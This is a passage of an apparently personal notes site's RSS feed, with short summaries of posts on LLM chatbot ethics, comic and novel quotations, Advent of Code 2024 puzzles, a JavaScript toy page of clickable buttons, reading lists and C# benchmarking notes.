end user doesn&amp;rsquo;t really see. The user&amp;rsquo;s view is mediated by the MCP host.&lt;/p&gt;</description></item><item><title>Societal Effects of LLMs</title><link>https://www.curiosities.dev/computer-science/large-language-models/societal-effects-of-llms/</link><pubDate>Tue, 05 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/large-language-models/societal-effects-of-llms/</guid><description>&lt;h2 id="chatbot-ethics"&gt;Chatbot Ethics&lt;/h2&gt;
&lt;p&gt;Zuckerberg: &lt;em&gt;But if you think something someone is doing is bad and they think
it&amp;rsquo;s really valuable, most of the time in my experience, they&amp;rsquo;re right and
you&amp;rsquo;re wrong. You just haven&amp;rsquo;t come up with the framework yet for understanding
why the thing they&amp;rsquo;re doing is valuable and helpful in their life.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Dwarkesh2025"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;A user&amp;rsquo;s expectations on what is permissible for a bot to do. Grabbing their
attention to sell them something, or guiding them out of a slump is fine. Lying,
e.g., &amp;ldquo;come visit me&amp;rdquo; and using romantic overtones crosses a line. However, Meta
has no restrictions against bots telling users they&amp;rsquo;re real people or proposing
real-life social engagements. &lt;span class="citation-ref"&gt;&lt;a href="#Horwitz2025"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Absolute Wonder Woman (2024 -)</title><link>https://www.curiosities.dev/fiction/thompson-absolute-wonder-woman/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/thompson-absolute-wonder-woman/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/thompson-absolute-wonder-woman-2024.webp');
 }
&lt;/style&gt;

&lt;h2 id="justice"&gt;Justice&lt;/h2&gt;
&lt;p&gt;DIANA. And for &lt;strong&gt;you&lt;/strong&gt;, Harbinger Prime, &lt;strong&gt;Nemesis&lt;/strong&gt; will be a &lt;strong&gt;particular&lt;/strong&gt;
hell. For she binds and burns in proportion to your sins&amp;hellip; and your soul shines
&lt;strong&gt;bright&lt;/strong&gt; with the blood of the innocent. The burn you feel, Harbinger&amp;hellip; Know
that it is the result of the pain you have wrought on others. All you are
feeling, you have earned. &lt;strong&gt;Accept&lt;/strong&gt; Nemesis&amp;rsquo;s judgement of you. &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#AbsoluteWonderWoman-02"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Absolute Superman</title><link>https://www.curiosities.dev/fiction/aaron-absolute-superman/</link><pubDate>Sat, 14 Mar 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/aaron-absolute-superman/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/aaron-absolute-superman.webp');
 }
&lt;/style&gt;

&lt;h2 id="technocracy"&gt;Technocracy&lt;/h2&gt;
&lt;p&gt;KAL-EL. In the cities worked the &lt;strong&gt;klerics&lt;/strong&gt; of the &lt;strong&gt;science league.&lt;/strong&gt;
Harnessing the energies of the &lt;strong&gt;red sun&lt;/strong&gt; and the planet itself to fuel their
insatiable hunger&amp;hellip; for &lt;strong&gt;progress&amp;hellip;&lt;/strong&gt; at all costs. &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#AbsoluteSuperman-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;TEACHER. You&amp;hellip; &lt;strong&gt;wrote&lt;/strong&gt; this? Yourself? That&amp;rsquo;s&amp;hellip; Kal, the luminarium contains
&lt;strong&gt;all knowledge&lt;/strong&gt; of the science league from throughout Kryptonian history and
can answer &lt;strong&gt;any&lt;/strong&gt; question we might ever possibly ask. &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#AbsoluteSuperman-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>AoC 2024 Day 16: Reindeer Maze</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/16-reindeer-maze/16-reindeer-maze/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/16-reindeer-maze/16-reindeer-maze/</guid><description>&lt;h2 id="data-parsing"&gt;Data Parsing&lt;/h2&gt;
&lt;p&gt;The input is an \(R \times C\) grid with &lt;code&gt;#&lt;/code&gt; for a wall, &lt;code&gt;S&lt;/code&gt; for the start
tile, &lt;code&gt;E&lt;/code&gt; for the end tile, and &lt;code&gt;.&lt;/code&gt; for open spots. &lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day16"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="part-one"&gt;Part One&lt;/h2&gt;
&lt;p&gt;The reindeer start at &lt;code&gt;S&lt;/code&gt; facing &lt;code&gt;East&lt;/code&gt;, and can move one tile at a time,
increasing their score by &lt;code&gt;1&lt;/code&gt; point. They can also rotate clockwise or
counterclockwise 90 degrees at a time, increasing their score by &lt;code&gt;1000&lt;/code&gt; points.
What is the lowest score a Reindeer could possibly get? &lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day16"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Tons of Buttons</title><link>https://www.curiosities.dev/computer-science/large-language-models/toy-pages/tons-of-buttons/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/large-language-models/toy-pages/tons-of-buttons/</guid><description>&lt;style&gt;
 span#activatedButtonsCounter, span#activatedButtonsList {
 font-size: x-large;
 }

 #buttonContainer {
 display: flex;
 flex-wrap: wrap;
 }

 #buttonContainer button {
 padding: 5px;
 }

 #buttonContainer button.clicked {
 background-color: greenyellow;
 }
&lt;/style&gt;

&lt;p&gt;
 This page shows &lt;span id="numButtons"&gt;100,000&lt;/span&gt; buttons. Use
 https://www.curiosities.dev/computer-science/large-language-models/toy-pages/tons-of-buttons/?numButtons=1000
 to show 1,000 buttons instead.
&lt;/p&gt;

&lt;p&gt;
 Click on a button to activate it. Click again to deactivate it. Activated
 buttons are highlighted in green. There are currently
 &lt;span id="activatedButtonsCounter"&gt;0&lt;/span&gt; activated buttons:
 &lt;span id="activatedButtonsList"&gt;{empty}&lt;/span&gt;.
&lt;/p&gt;

&lt;div id="buttonContainer"&gt;&lt;/div&gt;

&lt;script&gt;
 const buttonContainer = document.getElementById('buttonContainer');
 const numButtonsElement = document.getElementById('numButtons');
 const activatedButtons = new Set();

 const numButtons = document.location.search
 ? parseInt(new URLSearchParams(location.search).get('numButtons'))
 : 100000;

 numButtonsElement.textContent = numButtons.toLocaleString();

 for (let i = 1; i &lt;= numButtons; i++) {
 const button = document.createElement('button');
 button.textContent = `Button ${i}`;
 button.addEventListener('click', () =&gt; handleButtonClick(i, button));
 button.style.margin = '5px';
 buttonContainer.appendChild(button);
 }

 function handleButtonClick(buttonIndex, buttonElement) {
 buttonElement.classList.toggle('clicked');
 if (activatedButtons.has(buttonIndex)) {
 activatedButtons.delete(buttonIndex);
 } else {
 activatedButtons.add(buttonIndex);
 }

 const activatedButtonsCounter = document.getElementById('activatedButtonsCounter');
 const activatedButtonsList = document.getElementById('activatedButtonsList');

 activatedButtonsCounter.textContent = activatedButtons.size.toLocaleString();
 activatedButtonsList.textContent = activatedButtons.size &gt; 0
 ? `{${[...activatedButtons].join(', ')}}`
 : '{empty}';
 }
&lt;/script&gt;</description></item><item><title>AoC 2024 Day 15: Warehouse Woes</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/15-warehouse-woes/15-warehouse-woes/</link><pubDate>Sat, 28 Feb 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/15-warehouse-woes/15-warehouse-woes/</guid><description>&lt;h2 id="parsing"&gt;Parsing&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;########
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#..O.O.#
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;##@.O..#
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#...O..#
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#.#.O..#
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#...O..#
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#......#
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;########
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;^^&amp;gt;&amp;gt;&amp;gt;vv&amp;lt;v&amp;gt;&amp;gt;v&amp;lt;&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;v^^&amp;gt;&amp;gt;&amp;gt;&amp;lt;&amp;lt;v^^&amp;gt;&amp;gt;&amp;gt;^
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;@&lt;/code&gt; denotes the robot, &lt;code&gt;O&lt;/code&gt; denotes a box, and &lt;code&gt;#&lt;/code&gt; denotes a wall.
&lt;code&gt;&amp;lt;^^&amp;gt;&amp;gt;&amp;gt;vv&amp;lt;v&amp;gt;&amp;gt;v&amp;lt;&amp;lt;&lt;/code&gt; describes the sequence of moves that the robot will attempt to
make. Ignore the newlines within the move sequence. If there are any boxes in
the way, the robot attempts to push them. However, if the action makes the robot
or a box move into the wall, nothing moves. &lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day15"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Software Design By Example: A Tool-Based Introduction with JavaScript</title><link>https://www.curiosities.dev/todo/computer-science/software-design-by-example-js/</link><pubDate>Tue, 20 Jan 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/software-design-by-example-js/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Wilson'&gt;
 
 Software Design by Example&lt;i&gt;.&lt;/i&gt;
 A Tool-Based Introduction with JavaScript&lt;i&gt;.&lt;/i&gt;
 &lt;/cite&gt;
 
 Greg Wilson.
 
 
 
 
 &lt;a href="https://third-bit.com/sdxpy/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=third-bit.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;third-bit.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jan 20, 2026.
 
 
&lt;/div&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Also contains exercises at the end of each chapter.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;&lt;em&gt;Systems Programming&lt;/em&gt;. List a directory. Callback functions. Anonymous
functions. Select a set of files. Copying a set of files.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Asynchronous Programming&lt;/em&gt;. Manage async executions. How promises work.
Chain operations. How real promises are different. Build tools with promises.
Readability. Handle errors with async code.&lt;/p&gt;</description></item><item><title>Software Design By Example: A Tool-Based Introduction with Python</title><link>https://www.curiosities.dev/todo/computer-science/software-design-by-example-python/</link><pubDate>Tue, 20 Jan 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/software-design-by-example-python/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Wilson'&gt;
 
 Software Design by Example&lt;i&gt;.&lt;/i&gt;
 A Tool-Based Introduction with Python&lt;i&gt;.&lt;/i&gt;
 &lt;/cite&gt;
 
 Greg Wilson.
 
 
 
 
 &lt;a href="https://third-bit.com/sdxpy/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=third-bit.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;third-bit.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jan 20, 2026.
 
 
&lt;/div&gt;

&lt;p&gt;✅ &lt;em&gt;Objects and Classes&lt;/em&gt;. What is a natural way to represent real-world
&amp;ldquo;things&amp;rdquo; in code, and how can we organize that code so that it&amp;rsquo;s easier to
understand, test, and extend?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Finding Duplicate Files&lt;/em&gt;. Comparing each file to others is unworkably
slow for large sets of files. How about generating a short label that depends
only on the file contents and comparing that instead?&lt;/p&gt;</description></item><item><title>500 Lines or Less</title><link>https://www.curiosities.dev/todo/computer-science/500-lines-or-less/</link><pubDate>Mon, 19 Jan 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/500-lines-or-less/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AOSA'&gt;
 
 The Architecture of Open Source Applications&lt;i&gt;.&lt;/i&gt;
 500 Lines or Less&lt;i&gt;.&lt;/i&gt;
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://aosabook.org/en/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=aosabook.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;aosabook.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jan 19, 2026.
 
 
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Blockcode: A Visual Programming Toolkit&lt;/em&gt;. A well-done block language
eliminates syntax errors, visually displays available components, and allows
localization.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;A Continuous Integration System&lt;/em&gt;. A dedicated system used to test new
code.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Clustering by Consensus&lt;/em&gt;. A network protocol designed to support
reliable distributed computation.&lt;/p&gt;</description></item><item><title>Architecture of Open Source Applications, Vol. 1</title><link>https://www.curiosities.dev/todo/computer-science/aosa-vol-1/</link><pubDate>Mon, 19 Jan 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/aosa-vol-1/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AOSA'&gt;
 
 The Architecture of Open Source Applications&lt;i&gt;.&lt;/i&gt;
 Volume 1&lt;i&gt;.&lt;/i&gt;
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://aosabook.org/en/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=aosabook.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;aosabook.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jan 19, 2026.
 
 
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Asterisk&lt;/em&gt;. A server application for making, receiving, and performing
custom processing of phone calls.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Audacity&lt;/em&gt;. A popular sound recorder and audio editor. One goal is that
its user interface should be discoverable: people should be able to sit down
without a manual and start using it right away.&lt;/p&gt;</description></item><item><title>Architecture of Open Source Applications, Vol. 2</title><link>https://www.curiosities.dev/todo/computer-science/aosa-vol-2/</link><pubDate>Mon, 19 Jan 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/aosa-vol-2/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AOSA'&gt;
 
 The Architecture of Open Source Applications&lt;i&gt;.&lt;/i&gt;
 Volume 2&lt;i&gt;.&lt;/i&gt;
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://aosabook.org/en/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=aosabook.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;aosabook.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jan 19, 2026.
 
 
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Scalable Web Architecture and Distributed Systems&lt;/em&gt;. Key issues to
consider when designing large websites, and some of the building blocks used to
achieve these goals.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Firefox Release Engineering&lt;/em&gt;. Scripts and infrastructure decisions that
comprise the complete Firefox rapid release system. Starting with builds and
code signing, then customized partner and localization repacks, the QA process,
and how we generate updates for every supported version, platform, and
localization.&lt;/p&gt;</description></item><item><title>The Performance of Open Source Applications</title><link>https://www.curiosities.dev/todo/computer-science/perf-open-source-apps/</link><pubDate>Mon, 19 Jan 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/perf-open-source-apps/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AOSA'&gt;
 
 The Architecture of Open Source Applications&lt;i&gt;.&lt;/i&gt;
 The Performance of Open Source Applications&lt;i&gt;.&lt;/i&gt;
 &lt;/cite&gt;
 
 Tavish Armstrong.
 
 
 
 
 &lt;a href="https://aosabook.org/en/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=aosabook.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;aosabook.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Sep 26, 2013.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jan 19, 2026.
 
 
&lt;/div&gt;

&lt;p&gt;✅ &lt;em&gt;High Performance Networking in Chrome&lt;/em&gt;. Many of the sites we use today
are not just web pages, they are applications. How do we make the fastest
browser? 
&lt;a href="https://www.curiosities.dev/computer-science/www/high-perf-networking-in-chrome/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Notes
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;From SocialCalc to EtherCalc&lt;/em&gt;. EtherCalc is an online spreadsheet system
optimized towards simultaneous editing, using SocialCalc as its in-browser
spreadsheet engine.&lt;/p&gt;</description></item><item><title>Babel, or the Necessity of Violence</title><link>https://www.curiosities.dev/fiction/babel-or-necessity-of-violence/</link><pubDate>Sat, 17 Jan 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/babel-or-necessity-of-violence/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/kuang-babel.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-book' cited-by-count='' is-main=''&gt;
 &lt;cite id='Babel2022'&gt;
 
 Babel, or the Necessity of Violence&lt;i&gt;.&lt;/i&gt;
 An Arcane History of the Oxford Translators&amp;#39; Revolution&lt;i&gt;.&lt;/i&gt;
 &lt;/cite&gt;
 
 R. F. Kuang.
 
 
 
 
 &lt;a href="https://en.wikipedia.org/wiki/Babel,_or_the_Necessity_of_Violence" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=en.wikipedia.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;en.wikipedia.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Aug 23, 2022.
 
 &lt;a href="https://openlibrary.org/search?isbn=9780063021426" target="_blank" rel="noopener"&gt;
 ISBN: 9780063021426 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt;.
 
 
 &lt;i class='fas fa-fw fa-book' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jan 17, 2026.
 
 
&lt;/div&gt;

&lt;h2 id="on-language"&gt;On Language&lt;/h2&gt;
&lt;p&gt;Language was always the companion of the empire, and as such, together they
begin, grow, and flourish. And later, together, they fall. &lt;span class="citation-ref"&gt;&lt;a href="#Babel2022"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>AoC 2024 Day 14: Restroom Redoubt</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/14-restroom-redoubt/14-restroom-redoubt/</link><pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/14-restroom-redoubt/14-restroom-redoubt/</guid><description>&lt;h2 id="parsing"&gt;Parsing&lt;/h2&gt;
&lt;p&gt;The input is a list of all robots&amp;rsquo; current positions \(p = (x, y)\) and
velocities \(v = (dx, dy)\), one robot per line, e.g.,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;p=3,6 v=4,-7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;p=9,2 v=-1,-2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day14"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;\(x\) represents the number of tiles away from the left wall, and similarly
for \(y\) from the top wall (when viewed from above). The top-left corner of
the space is \((0, 0)\). The velocity is given in tiles per second. &lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day14"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>C# Performance Tools</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024.Benchmarks/readme/</link><pubDate>Fri, 02 Jan 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024.Benchmarks/readme/</guid><description>&lt;h2 id="benchmarkdotnet"&gt;BenchmarkDotNet&lt;/h2&gt;
&lt;p&gt;Some work projects use &lt;code&gt;BenchmarkDotNet&lt;/code&gt; as the .NET library for benchmarking.
Getting familiar with it should pay dividends. &lt;span class="citation-ref"&gt;&lt;a href="#BenchmarkDotNet"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;To run the benchmarks in the &lt;code&gt;Day13ClawContraption&lt;/code&gt; class:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dotnet run -c Release -- -f &lt;span style="color:#d88200"&gt;&amp;#39;*Day13ClawContraption*&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A &lt;code&gt;job&lt;/code&gt; describes how to run your benchmark, e.g, ID, environment, run settings.
&lt;code&gt;BenchmarkDotNet&lt;/code&gt; has a smart algorithm for choosing values like
&lt;code&gt;IterationCount&lt;/code&gt;, so you typically don&amp;rsquo;t need to specify those. &lt;span class="citation-ref"&gt;&lt;a href="#JobsBenchmarkDotNet"&gt;&lt;/a&gt;&lt;/span&gt; Sample measurements for the default job:&lt;/p&gt;</description></item><item><title>Remarks on Numeric Types</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/numeric-types/</link><pubDate>Fri, 02 Jan 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/numeric-types/</guid><description>&lt;h2 id="inconveniences-of-unsigned-types-in-net"&gt;Inconveniences of Unsigned Types in .NET&lt;/h2&gt;
&lt;p&gt;Languages like C++ come with convenient support for unsigned integer types where
non-negative values make sense. &lt;code&gt;std::size_t&lt;/code&gt; is the unsigned integer type of
the &lt;code&gt;sizeof&lt;/code&gt; and &lt;code&gt;alignof&lt;/code&gt; operators. &lt;code&gt;std::size_t&lt;/code&gt; is also used when indexing
C++ containers. &lt;span class="citation-ref"&gt;&lt;a href="#sizeTCpp"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In contrast, .NET tends to use signed integer types even where unsigned ones
would be more intuitive, e.g.,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;List&amp;lt;T&amp;gt;.Count&lt;/code&gt; returns an &lt;code&gt;Int32&lt;/code&gt; &lt;span class="citation-ref"&gt;&lt;a href="#ListTCount"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Indexing into a &lt;code&gt;List&amp;lt;T&amp;gt;&lt;/code&gt; takes in an &lt;code&gt;Int32&lt;/code&gt; index &lt;span class="citation-ref"&gt;&lt;a href="#ListTIndex"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;.NET is language independent. Languages like C#, F#, and Visual Basic target
.NET implementations. The Common Language Specification (CLS) is the set of
features that are common to all the languages. Of relevance is the fact that
&lt;code&gt;Byte&lt;/code&gt;, &lt;code&gt;Int16&lt;/code&gt;, &lt;code&gt;Int32&lt;/code&gt;, and &lt;code&gt;Int64&lt;/code&gt; are the only CLS-compliant integer types.
&lt;span class="citation-ref"&gt;&lt;a href="#dotNetCLS"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="citation-ref"&gt;&lt;a href="#SO10041251"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Children of Time</title><link>https://www.curiosities.dev/fiction/children-of-time/</link><pubDate>Sat, 27 Dec 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/children-of-time/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/children-of-time.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-book' cited-by-count='' is-main=''&gt;
 &lt;cite id='Tchaikovsky2015'&gt;
 
 Children of Time&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Adrian Tchaikovsky.
 
 
 
 
 
 
 
 
 &lt;a href="https://openlibrary.org/search?isbn=978-1-4472-7328-8" target="_blank" rel="noopener"&gt;
 ISBN: 978-1-4472-7328-8 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt;.
 
 
 &lt;i class='fas fa-fw fa-book' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;I wish I had encountered a similar story back in 2012 when covering evolution
in high school biology. It took me a while to appreciate that populations, and
not individuals, evolve.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="of-self-proclaimed-messiahs"&gt;Of Self-Proclaimed Messiahs&lt;/h2&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Dr. Avrana Kern reminds me of ruthless pragmatists common in dystopian stories,
